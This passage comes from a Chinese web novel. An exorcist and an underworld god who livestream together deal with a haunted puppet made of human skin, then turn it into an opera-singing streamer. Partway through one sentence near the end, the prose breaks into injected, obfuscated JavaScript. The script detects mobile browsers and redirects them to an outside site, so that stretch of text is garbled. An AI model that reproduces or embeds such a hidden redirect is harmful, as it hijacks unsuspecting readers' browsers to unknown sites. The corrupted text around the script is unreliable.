这影子里他感觉不到一丝阴气,不愧是地府最高神——能扛水泥刷盘子洗碗直播带货捉鬼驱邪爱吃麻辣烫十分嘴馋的最高神。 额,又有点想笑了。 贺鱼摸出一张符拍向自己的影子,毫无动静。 是不是他的修为不到家,还是道法同源,北阴大帝纯正的阴煞之气也是同源。 贺鱼摸着下巴不再纠结,起码现在来看他被最厉害的那个罩着,不会有生命危险,但不排除吃点小苦头。 裴寂说他可以察觉到危险过来,那刚才来这么晚。 贺鱼有点怀疑是不是他那把游戏没结束,最后实在挺不了了才含泪不管游戏过来了。 越想越觉得可能,贺鱼掏出手机在自己的备忘录上写下:查一下裴寂战绩。 他写完又举着手机开始研究这个影子,在地上绕了两圈,手机拿的不是很稳,晃过的时候影子消失。 贺鱼猛得一惊,不行啊,万一没光的时候,没有影子,裴寂怎么过来。 他蹲在地上为提前发现这个bug惊呼出声:“我擦,没影子裴寂岂不是过不来救我了。” 几乎是话音落下瞬间,贺鱼对上影子里那张黑红色的眼珠,和他慢慢浮起来的脸。 20. 第 20 章 裴寂血红色的眼睛在他的影子里显现,一张脸慢慢浮出来。 贺鱼冷不丁从自己的影子里看到一张脸,吓得后退半步差点跌坐在地上。 谁说没有好恐怖片。 裴寂周身的黑气敛入体内:“不是,没有影子也可以过来。”影子有光才会显现,不代表没光的时候影子本身不存在。 贺鱼的殿要重修,重修也快,那也要一两天的时间,裴寂给自己的偏殿让出来给贺鱼用。 不过贺鱼不打算干了,他要回家养病,弥补今天受到的心灵创伤。 裴寂乐不得回去,这样可以接着玩他的游戏。 贺鱼接了不少商单,快递邮来了一大堆,借了个小车才推回来。 大大小小的快递盒子摆满了一地,贺鱼从未有过这种体验,对着之前整理过的表格拆着快递。 “魔鬼辣辣条、果冻、酸奶、酸辣粉...” “裴寂,你想吃那个过来拿,要不要先尝尝?” 挑一些健康的推,好不好吃倒是其次,人的口味毕竟不一样。 贺鱼一个个翻着后面的配料表,查资料看看是否健康,裴寂会趁着自己死的时候赶紧塞嘴里两口,就是这个频率有点高,看来是一直死,贺鱼无语。 定的外卖贺鱼又加了一份,又在网上订了个货架,他小小的屋里已经有点没地方摆了,手里的钱再攒攒够付一个首付。 他给每个零食快递箱子备注摆放整齐,给确认没问题但是好吃的摆在最上面,一般的放中间,可能是口味问题,剩下一些是有硬伤的,配料表不干净或者是吃到嘴就明显不对劲的怪味,比如腥什么的,贺鱼直接就给那些商家回绝了。 看到贺鱼自己弄这些东西,裴寂也放下手机帮着贺鱼一起弄。 到了下午的时候又到了一批,贺鱼在屋里整理,把要取的码发给裴寂,让他自己推着车出去拿。 裴寂出门的时候一步三回头,问了好几遍贺鱼细节:“小鱼,我直接进去就可以吗?” “不然呢,还得提前预约?” “那我先说这个码吗?” “...你把我给你整理的纸给他就行。” “哦。” 快递驿站在楼下门市那里,坐了电梯下去出门一拐角就是,也就两分钟就能到。 贺鱼过了会手机收到了消息。 “小鱼,有人我等他吗,我后面也有人,我是一个一个排队还是直接给就行啊?” 贺鱼:..... 没理,这才是真正的巨婴吧。 又过了五分钟左右,人回来了。 一进门就是有些委屈的语气:“小鱼你在干什么,怎么不理我?” 贺鱼翻了个白眼:“给新拿回来的东西腾地方啊。” 裴寂也不知道是怎么拿回来的,摞得高高的箱子摆在地上还是四平八稳的,他跟贺鱼抱怨:“还好前面的人也是有好几个快递,不然我都不知道要不要让后面的人先拿。” 他猛得转过头:“你手机以后别静音。” 贺鱼被他搞得有点像想笑,拆箱子的手一顿:“哦好。” 开播的时候裴寂只负责吃就行了,贺鱼来带货,因此他也得把晚上要带的吃出来。 晚上都没做饭,自己吃两口尝尝味道,剩下的丢给裴寂。 零食比衣服的受众更多,直播间里几万人,贺鱼一晚上佣金赚了将近一万块钱,看着钱包里的数字,这一天受的苦又有些值得了。 晚上十分自信看了楼盘才睡觉。 裴寂依旧不想回地府,留在家里打游戏,贺鱼花了半个小时时间教他怎么点外卖。 裴寂想着在家待着也是待着,打开直播看看能不能再赚点,昨天鬼差搜了那个阎王的住处,真是搜出来不少好东西,暂时可解他燃眉之急,但也只能顶一会,之后还要有大笔支出。 但他又很想玩游戏,于是开着直播低头玩手机,抽空看眼弹幕回复。 粉丝们问玩的什么他回答了之后就让他开个游戏直播,但是他不会,不过万能的网友会一步步教他怎么做。 裴寂的菜狗技术吸引的人越来越多,有骂的有笑得,漏出游戏名字,好友要被加爆了,还有人是队友加来骂他的。 眼看着再一次被蹲黑屏,裴寂一副天都塌了的表情:“他怎么又在这!” 弹幕都在笑:“看得我手感全无。” 裴寂的分类直接变成游戏主播,涌入一批游戏粉:“我靠头次见到这么帅的,就连技术也...也这么帅,我天这个人怎么菜成这样,就算是人机都比他玩的厉害。” “真是要颜值有颜值,要技术有颜值。” “主播你听我说,你老老实实播你的颜值,技术主播我另有人选,这事轮不到你出手。” “看到还有这种我就放心了,看来我也不是这么菜。” 裴寂根本没空理会弹幕,满眼都是怎么赢下这局,他已经十连跪了,终于系统似乎看不过去了,给他对面配个五个最低等人机,还有他这边四个打小号的高手,终于赢下了一把。 看着屏幕上闪过的“胜利”二字,连直播间的观众都喜极而泣。 “我差点以为这个游戏没有胜利这个就结果了。” “看一上午了,就赢一把泪目了...” 还在群里开了个抽奖,赌输几把才会再赢下一把的。 裴寂开辟了一条新赛道——下饭主播。 “谢谢主播,直接在我胃里种水稻,午饭都不用吃了。” 裴寂的操作还被剪成了短视频,在平台又一次爆火。 没两天贺鱼就收到了平台私聊,问要不要跟平台签约,注意到了裴寂的流量,不想放裴寂去别的平台。 贺鱼两方商量过后,由原本的礼物五五分成变成三七分。 不过其实贺鱼的礼物能赚的是少部分,大多数都是带货,平台也愿意给他让这个不痛不痒的福利。 贺鱼也是看到网友们剪得裴寂的录播才知道裴寂的操作有多逆天,怪不得老输,迷路的辅助,只知道打野的打野,永远只在中路的法师。 队友问他为什么只打野,他说他打野不打野还打什么。 裴寂的经典语录都被剪了出来成了新梗。 没过几天还有技术主播关注,贺鱼点了回关。 “你好,一起排两把不?带你飞” 贺鱼点开资料看了,是一个国服射手,他问过裴寂后俩人加上了游戏好友,他平时上班的时候裴寂自己在家,在家玩也是玩,还不如一边玩一边赚点钱。 那主播拿了个小号跟他玩,一直开麦指挥裴寂。 可裴寂是谁,最不服从的就是指挥,菜片偏又有自己的想法就很可怕了。 “你怎么去那了?”技术主播的声音有些崩溃。 段位低的时候还好带的动,后面逐渐段位高起来,四打五开局即逆风局。 在钻石段位开始输输赢赢。 “天啊记住这个名字,以后看到了一定要重开啊兄弟们!” “已牢记。” 技术主播最后受不了这种输输赢赢搞心态的现状,摇了几个国服一起五排。 连胜到了王者,粉丝们一片哀嚎。 “坏了,不怕真的菜,就怕被带上去的菜。” 裴寂看着升上段位的特效,脸上也是迷茫,他的一排连胜战绩全都是:0-1、0-4、0-3,有的一个助攻都没有,全场基本都在逛街,然后莫名其妙就赢了。 麦里技术主播们在说着话:“不打了不打了下播吃饭了。” “休息一下。” “裴寂我们下播了,下次再一起。” 说着几个人互相加了好友,裴寂没有下播,他开始认认真真搜起来“初级意识教学”。 还掏出一个小本本开始认真的做笔记,先从辅助开始学。 有人注意到裴寂的字,繁体和简体结合,但却十分端正,非常好看。 看他学习那股劲,直播间不少学生也拿出来书本跟着学,裴寂的直播间再次转型,吸粉无数。 贺鱼下班时候收到了周新宇的消息。 “大师在吗,我有个朋友最近也觉得总有奇怪的事,能不能帮忙看看,他很有钱。” 贺鱼一看这是介绍生意来了,哪能不帮。 “行。” 周新宇:“那我给他推给你,你们俩联系吧,我最近还在录节目出不来。” 贺鱼回了个OK,加了周新宇推过来的名片。 贺鱼对这些明星并不认识,在对面自报家门的时候,贺鱼懒得去搜一下是做什么的。 “你好我是孟明俊。” 贺鱼给名字复制备注一下,给他们单独一个分组——有钱人。 他打字过去:“你最近的奇怪事说一说。” 孟明俊那边的正在输入过了很久,贺鱼收到很长的一段话。 “起初是路过一家玩偶店,我女儿要进去看看,在里面挑中了一个玩偶,女儿在拿给我看的时候,不知道为什么感觉玩偶好像动了一下,我没有当回事,以为是幻觉,后面带回家后,那个奇怪的玩偶总是会出现在我的床边,有时是床头柜,有时是我的枕边,还会出现在我的车上,我问我太太和女儿,比这个玩偶自己跑过来更恐怖的是她们说是她们拿过来的。” 要是这个玩偶自己过来的那只能说明这个玩偶有问题,要是每次都是他老婆孩子拿过来的,那他老婆孩子都很危险,这玩偶能操控他们。 他不是没有尝试丢掉过,奈何妻子孩子总会捡他回来,不知道那人偶操控她们次数多了会有什么影响,他也就不敢丢了。 想到这孟明俊都脊背发凉:“而且我还会一些奇怪的梦,有时候我是木偶,有时候我是一个人...我醒来的时候就想不起来了。” 贺鱼在从地铁站出门,一会没有看手机,跳出来好多条消息。 “我不想在家里待,在一家饮品店里,我怕他出现在我的车上包里,什么都没带只带了个手机。” 可能是贺鱼长时间没有回消息,让他有些焦虑,他已经被折磨很久了。 “请问您可以解决吗?” 见贺鱼还是没有回消息,孟明俊点开周新宇的聊天框又关上,他在娱乐圈这么多年,不是不认识几个懂这些的朋友,找了好几个作法贴符都没什么用。 他和周新宇的关系还不错,这次在一个节目组,住在一起他又在床上看见这个人偶,实在是想倾诉,才和周新宇讲了这件事。 没想到周新宇没有笑话他,反而给他推了个大师过来。 还说了自己之前的经历,他也是实在没有办法了,病急乱投医,想着不如试一试,万一真有些道行呢。 不过其实看到贺鱼的头像他心里那点信任也所剩无几,见此不回消息有一种被小孩子耍了的感觉,连对着周新宇都起了一丝愤怒的情绪。 他本来就够烦了,还有人来添乱,想到这里更气了。 贺鱼的头像是前几天他拍的小黑,躺在天蓝色的床单上伸着懒腰。 大约过了十分钟左右,贺鱼快走到家了拿出手机才发现孟明俊发了好多条消息。 贺鱼没有理会后面他带着情绪有些不中听的话:“什么时候有时间,带着玩偶跟我见一面吧。” 那边回复得很快,孟明俊说随时都可以,希望这件事能快些解决。 贺鱼理解他害怕恐惧的心理,没上楼直接让他报了个位置。 给裴寂发了消息让他自己解决一下晚饭。 孟明俊把咖啡店的地址发过去,贺鱼又回去地铁站,告诉他大概什么时间可以到。 孟明俊带着墨镜在窗户旁边的位置有些坐立不安,这会太阳下山,窗户外面的夕阳落在他的脸上,温暖色的橘光却没有一丝暖意。 咖啡厅内很安静,孟明俊看着夕阳难得有片刻的放松,这段日子神经紧绷觉都没怎么睡好,此刻来了些困意。 贺鱼说他得一个小时才会到,他不自觉垂下头趴在桌上,打算眯一下。 刚有些睡着时旁边有人轻轻碰他:“先生,先生?” 他内心的焦躁更盛,抬头看到咖啡厅的服务生,他语气有些不好:“什么事?” 服务生的职业素养十分好,微笑着给手里的袋子放在桌子上:“刚才有个跑腿说这是您夫人给您的。” 孟明俊心头一紧,有种说不上来的恐慌感,他甚至感觉自己不用打开这个袋子就知道里面的是什么东西,他不过才出来一下午,就又跟到他的身边。 服务生似是看出他的状态不是很好,又唤了两遍他:“先生?你还好吗?” 孟明俊无力得摆摆手:“没事,你忙去吧。” 已经懒得挣扎了,没什么作用。 他有些崩溃得暴力拆开袋子,果然里面躺着那个人偶。 它其实说起来与其他人偶没什么区别,顶多是外表更好看一点,摸上去更细腻,不是木质的... 孟明俊给它摆在中间,有些丧气带了些祈求:“你要怎么样才能放过我?” 人偶画出的嘴似乎动了两下,不过此时的孟明俊并没有注意,人偶就在他的面前,他那点睡意又全无,只能在手机上面给贺鱼发着消息问还有多长时间。 心里默默祈祷这次可以真的解决这件事。 眼看着时间差不多了贺鱼还是没有给他发消息,孟明俊心中越发焦急,他此刻只觉得会不会是这个人偶做了什么。 又连着给贺鱼发了几条消息。 “您好,请问您是孟明俊先生吗?” 耳边突然传来一道清凉的声音,给他的浮躁的心注入一丝凉意,让他平静下来。 孟明俊像是见到了救星,脸上惊喜的表情在看到贺鱼时又僵在了脸上。 这不就是一个大学生,难道是自己被认出来要签名的吗? 不过有人说话能缓解一下他的心情。 “我是。” 他话音落下只见那大学生把手机往桌子上一放,招呼服务生:“来瓶水,对了有没有充电宝,手机没电了。” 这种店里一般都是有的,不过贺鱼的手机没电了扫不了码。 服务生的动作很快,立马就给贺鱼上了一杯水。 贺鱼指着桌上摆着的那个人偶 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想都这贺鱼一顿:“它不会是特意找你的吧?”想想真的有可能,摆在店里,这个人偶确实很好看,在孩子都进的店里怎么就正好被他选上了,再根据人偶之后总在他身边出现的情况,多半就是奔着孟明俊来的。 贺鱼放下人偶,左手摸了摸自己的右手上的皮肤,沉吟片刻突然道:“你有没有觉得,这个外表的材质有点像...人皮?” 孟明俊刚放下的心准备吃两口甜点,手上的勺子被这一句话吓得又掉在托盘上。 贺鱼推过去:“你要不要摸摸试试?” 孟明俊赶紧摇头,他不是没摸过这个人偶,确实摸起来过分细腻。 他的声音有点不受控的颤抖:“那...那怎么办,要不要报...”他话说到一半想起贺鱼说这是很多年的东西。 贺鱼摇摇头:“我感觉这是很久之前的什么邪术制作的东西,目的不明,不过我推测是用人皮做的人偶。” 孟明俊不敢看一眼,咽了下唾沫问:“那他为什么又会找上我?” 贺鱼摊手:“不知道,不过想来也是它之前跟你有渊源,或许是你,也或许是你的祖上。” 他说着又勾过这个人偶:“想知道具体为什么,直接问问他就行了。” 孟明俊扫了下周围:“这块不是说话的地方,我们换个吧。” 贺鱼给他丢到原本的袋子里:“行。”这种至阴之物在人家店里放久了也会影响生意。 孟明俊带着贺鱼打个车回家,他家别墅区周围没有什么出租车,他刚才过来都是走着过来的。 这个时间他老婆孩子都不在家,老婆要去做美容,孩子这个时间要去上兴趣班。 孟明俊的家十分大,看的贺鱼又是一阵羡慕。 贺鱼把那个人偶倒在茶几上:“出来说说吧。” 人偶没有什么动静,贺鱼等了会,就在孟明俊心中那股怀疑又升起之际,只见贺鱼从兜里掏出一张黄色的符纸,在人偶面前晃了晃。 “我给你个机会陈述,你再不识好歹我就直接灭了你。” 他说着给符纸轻轻放在人偶的胸口上,似是感受到这符纸带来的威胁,人偶的脸动了动。 贺鱼收起来给它摆正:“说吧,快点说我着急回家做饭。” 人偶活动了下手脚,吓得孟明俊张着下巴往后挪了挪,指着茶几上的人偶磕磕巴巴:“它、它真的会动!” 贺鱼:“我不瞎。” 人偶动了几下后端端正正跪坐好弯腰:“大人。” 贺鱼指了指那边的孟明俊:“你为什么缠着他?” 人偶画出的黑色小眼睛在看向孟明俊时溢满了悲伤:“徐郎,可是把我忘了?” 它开口说话是个声音极为好听的女子。 孟明俊反驳:“我不是徐郎,我不认识你啊。” 人偶眼里的悲伤化为失望,却舍不得移开视线紧盯着孟明俊:“是啊,你已经转世了,自然是记不得我的。” 贺鱼问:“你既已知他已转世前尘皆忘,为何还缠着不放?” 人偶终于不再注视着孟明俊,垂下头:“我只是想陪在他身边。” 若是情能自控,便也不是情了。 贺鱼心里唏嘘:“你瞧,你的徐郎现在被你折磨的觉都睡不好,脸上的黑眼圈都快到下巴了,他害怕你,你已非人,他却还是,这一世他已娶妻生子,你愿意看到他本来幸福美满的生活被你打扰吗,你的出现已经影响他很多了。” 人偶扫过孟明俊的脸,喃喃自语:“是啊,我那会在店里看到他不是这样的。” 孟明俊被这段日子的折磨吃不好睡不好,神经时刻紧绷,早已快崩溃边缘,现在不用伪装坐在那里都没有人能认出来这是那个影帝。 贺鱼叹口气:“跟我走吧。” 人偶再次抬头深深看了一眼孟明俊,这一眼似乎是要将他整个人记在心里,那些再次重逢要说的话,在心里转了几圈都没有说出口,他现在最好的生活就是不被自己打扰。 说了徒增负担,又是何必呢。 这段日子她也看到了,他现在生活的很幸福,有钱有大房子,不再像过去那种寄人篱下成为权贵打趣玩意的日子。 孟明俊被这一眼看的胸口隐隐作痛,说不上来的情绪。 泪水滴在手背上他才意识到自己哭了。 人偶不会流眼泪,黑色墨点的眼里只有无尽的悲伤。 “那就麻烦了大人。”她说罢便自己跳回那个来时的口袋,似乎看不孟明俊就不会反悔。 贺鱼拎着袋子看着不知前尘却泪流满面的孟明俊说:“她这次应该不会再回来了,没了她你夫人和孩子应该也恢复正常了,这三张符带在身上一个月,没事多出去晒晒太阳驱散一下身上的阴气。” 孟明俊呆呆接过,脑子里无法思考,他只觉得有什么很重要的东西失去了。 “大师,这边没有车我送你走吧。” 贺鱼没有拒绝。 贺鱼没有坐在副驾驶,他知道人偶此刻不能跟孟明俊贴得太近,万一后悔了大家都不好。 孟明俊打着方向盘,前方是倒计时的红灯,一路上的红灯很多,他莫名心里有些期待,要是这条路能再走得久一点就好了。 他觉得自己这种想法很奇怪,这不是他的想法,像是另一个人的,可也是他的。 可能就真的是他前生的业障吧。 孟明俊克制着自己古怪的要留下人偶的想法,给贺鱼送回家。 眼看着贺鱼下车手里提着袋子就要走远,他下意识叫住贺鱼。 贺鱼回头。 他张了张嘴:“没事,抱歉。” 贺鱼走得脚步飞快,生怕这两个人给他来一段人鬼情未了,那可就麻烦了。 别到时候承诺给的钱不给了。 贺鱼打开门屋里有些黑没开灯,他还疑惑裴寂不在吗,意识到裴寂回去了他心里还有点失落,抬手给灯打开,被端坐在沙发上黑着一张脸的裴寂吓了一跳,手机放在他身边,游戏都没玩。 他沉声的时候还是有点压迫力的:“去哪了,怎么这么晚才回来?” 21. 第 21 章 贺鱼被他吓了一跳,莫名有些心虚了,他就跟裴寂说晚上的饭自己想办法啊,也没具体说到底做什么去了。 “上次我们赚了很多钱那个明星周新宇你记得不?”贺鱼换鞋撑着旁边的门边解释, 裴寂冷冷“嗯”了一声。 贺鱼接着说:“他有个朋友有些麻烦我去帮了个忙。” 停顿片刻贺鱼又补充道:“没什么危险,我想着有危险你也能过来就没细说,手机里说不方便,想着回来说的。” 不知道是哪句话哄好了裴寂,他沉着的脸色微微好看些:“你是不是没吃饭?” 贺鱼换好鞋给袋子放到桌子上才感觉有点累:“嗯,没吃呢。” 裴寂嘟囔:“周新宇的朋友这么有钱,不管饭吗?” “没,我没吃。”孟明俊在车上确实问过要不要吃个饭,他怕人偶舍不得走,就没吃。 这句话裴寂听完脸上阴沉的神色彻底消失:“其实晚回来会也没事的,我也不饿。” 贺鱼听出来裴寂误解了他的意思,他想说两句看到裴寂已经不再阴沉的脸又收了回去,算了。 裴寂这意思是他也没吃,贺鱼吃了口零食去炒菜了。 吃饭的时候贺鱼把人偶拿出来摆在桌子上。 “你说说你俩的事吧。” 贺鱼还是有点好奇的,这会正好吃饭可以听听,不然每次裴寂都不说话太安静了。 人偶也是很有倾诉欲,她的声音很好听,但她不像人也不像鬼,人偶是没有办法吃东西的,不然贺鱼真想给她炒盘花生米。 “我和徐郎是一个戏班子的,我是青衣他是小生,我俩是班主从小捡回来的孩子,那会连年战乱,班主给了我们饭吃,给了住的地方,我和徐郎都争气,嗓子好长得也不错,长大后唱得好要过不下去的戏班子又好起来了。” 她叹口气:“那段时间是最美好的时候了,有钱花有大房子住,戏班子里的大家都在,我和徐郎一起长大一起唱戏,早就心生情愫,班主还给我们挑了个好日子成亲,可好日子不长,敌国打了进来,占了城,我们被派去给他们唱戏,那位将领看中了,他知徐郎是我夫君还要当着他的面。” 人偶说到这虽没有眼泪却有了哭腔。 “我俩不愿受辱,妄图一死了之,可那畜生却说要是我俩去死,就把班子里其他人都杀了,他享受以这种方式折磨我们为乐,一定要我们自愿才好,放我和徐郎和班子众人回去,给我们一天时间做选择。” 贺鱼听着听着嘴里的饭有些不香了,有些人真是畜生。 她“呜呜”哽咽起来,有些阴森。 “有些人觉得不可如这畜生的意,可有些人却是不想赴死的,他们争吵起来,班主说让我俩自己做决定,有些人不服也没有办法,我俩不愿意没法用强。” 人偶抬起手擦擦面上就不存在的眼泪:“我俩回去后抱着哭了一阵,既不想如此受辱,也不想让大家因我们而死,后来我们想起之前看过的一本古书,里面记载着很多惨无人道的秘法。” 她说着说着咯咯咯咯的笑起来:“若是活剥人皮做偶,那便能练成邪物,我们不知这能否帮到我们,但这却是我们能接受的路了。” 贺鱼放下筷子,裴寂继续吃。 后面贺鱼能猜到了,多半是两人相争到底谁来承受这酷刑。 “我假装同意徐郎让他去死,而后趁他不注意打晕了他,给了丫鬟银钱买来水银,剥了一张完整的人皮,取身上的骨头做了个人偶,用最滑腻的皮肤做为外表,画上眼睛鼻子嘴巴...” 贺鱼不禁问道:“后来邪术成了吗?”应该是成了的,不然她也不会被困在这个人偶里。 人偶沉默片刻:“成了,可却是在三天后。” 三天后,怕是都被杀了。 “我杀了那个畜生,可也被道士追捕,我无奈只能躲起来,我还不想彻底消失,还想再见徐郎一面,不断辗转终于在几百年后的店里遇到他了。” 贺鱼听完无言,世事就是充满了阴差阳错,最难过的是还留在原地那个。 他打量了下这个木偶,她的魂魄早已和这个木偶融为一体,成了邪物,不能再投胎了。 正常来说,这种邪物是要毁掉的。 但是贺鱼不忍心,这邪物的背后又何尝不是一个悲剧。 贺鱼抬头看了下裴寂,脑子突然灵光一闪:“你说你会唱戏?” 人偶不知道为什么话题这么跳跃,贺鱼就接着追问:“那你来两句。” 人偶害怕面前这个年轻人,不过她也愿意唱戏,班主说她天生就该吃这碗饭。 她哼了两句,贺鱼听不出来在这方面的造诣,他桌底下的脚踢了踢裴寂:“诶,你觉得呢?” 裴寂把盘子里的汤倒进碗里搅拌:“凑合。” 贺鱼又问:“你觉得给她开个直播唱戏怎么样?” 裴寂一惊嘴里的饭赶紧咽下去:“那我呢?” “你接着播你的啊。”他只是想再开一个直播再赚一分钱,反正这木偶也是没事做,给她找点活干。 裴寂那倒是同意,只要不耽误他赚钱就行。 贺鱼戳了戳木偶的手臂:“你之后有没有什么打算,我给你指条明路你干不干?” 木偶觉得贺鱼笑得比她还像邪物,不过她确实不知道要何去何从,世界之大,没有她的容身之地。 “大师请讲。” 贺鱼点开手机给她看了两个戏曲视频:“跟你之前的工作差不多,只不过他们是面对真人,你就对着这个屏幕唱,对面也有真人听。” 木偶在人间行走这么长时间是知道手机和网络的,贺鱼说完她就明白了。 她黑色点点的眼睛仿佛亮了下,方才的阴霾一扫而光:“真的可以吗大师,我这样不会被道士抓走吗?” 贺鱼摇摇手指:“你的安全尽管放心,看见他没,他是地府最大领导,有他在,没人敢把你怎么样,你就安心得唱,反正你也没什么去处,你唱戏赚的钱咱们也是五五分,你想要啥我帮你去买,怎么样?” 人偶爬起来就要给贺鱼磕头:“谢谢大师。”她除了徐郎,最喜欢的就是唱戏,徐郎早已给她遗忘过上了新的生活,还好她还能捡起自己的另一个爱好。 贺鱼赶紧给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15392167|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她摆正:“你平时动动也是可以的,他们肯定就觉得你是电动的玩具。”他也是看这个人偶没有害过无辜的人才愿意和她做交易。 她的死法一般热都难以承受,定然是怨气冲天,可她却能保持本心,现无法投胎转世,贺鱼只能尽力帮一帮。 裴寂和若然不能在同一时间直播,不然会串音。 贺鱼问人偶名字时她说不想再叫之前的名字了,贺鱼想了想,取了若然。 天地之间,若白驹之过隙,忽然而已。 过去那一段短短的二十年人生,在她无尽的生命中不过弹指一瞬,不要画地为牢,将自己困在其中。 贺鱼排班的时候裴寂百般不愿意,本来他可以直播一天的,凭什么被这个人偶占了两小时,他觉得那两个小时的钱也要分他一部分。 但他肯定不能跟贺鱼说。 贺鱼挑选了个时间,太早不行,太晚不行,下午六点到八点的时间给了若然。 若然唱戏一定要一个收音好的麦克风,贺鱼看了各个声控主播推荐花大价钱买了一整套设备,看得裴寂眼睛都红了。 贺鱼给若然买了一套小型家具,在桌子上给她建了一个小型的屋子,有床有沙发,一应俱全。 直播的地方也摆上了柔软的能坐能靠的小枕头,旁边用了些鲜花装饰。 录了一段若然唱的贺鱼发在了裴寂的账号上@若然的账号写道:朋友,请大家支持一下,每晚六点开播。 贺鱼给若然的小人偶拍了个照片,精修后作为她的头像。 手机也买了一个,怕若然的手指头不灵活买了个能触屏的手套还有笔。 裴寂取快递路过垃圾桶的时候想着要不要丢掉,丢掉贺鱼还会再买。 贺鱼拆快递的时候裴寂和若然就在旁边看着,他拆开一个小玩具里面还送了一袋小零食,他顺手递给蹲着的裴寂:“零食你吃不?” 裴寂冷哼了一声:“呵我就知道,她不要的也不会给我。” 贺鱼:...... 关注裴寂的大多是一些年轻人女孩,这几十万人里不乏有一些是喜欢戏曲的,也有一些人就是这个专业的,听到若然这段懂些的评论了一句唱的好好。 而其中有位觉得唱的很好拿去给老师品鉴,结果这位老师听后一连说了三个好字,觉得这肯定是哪位大佬的关门弟子。 马上就关注了若然的账号,还把这段视频下载下来发到他们的交流群里:“这是谁的门生,你们这些老家伙,藏得够深啊。” 可这个权威的圈子里却没有一个人认识。 听说过两天要直播,这些人都蹲守着时间等着看。 到了这天一群业内的老人都蹲守着手机前,翘首以盼。 到了时间屏幕一亮,屏幕中放大的是个长得有些诡异的人偶,人偶伸出手,摄像头跟着动了两下,好像是在调节摄像头。 她先是来了段自我介绍:“屏幕前的观众大家好,我叫若然,从今天起每天晚上六点会在直播间唱一会,喜欢若然的给我点点关注,谢谢大家。” 她说后小小的人偶捏着兰花指就开始唱了起来。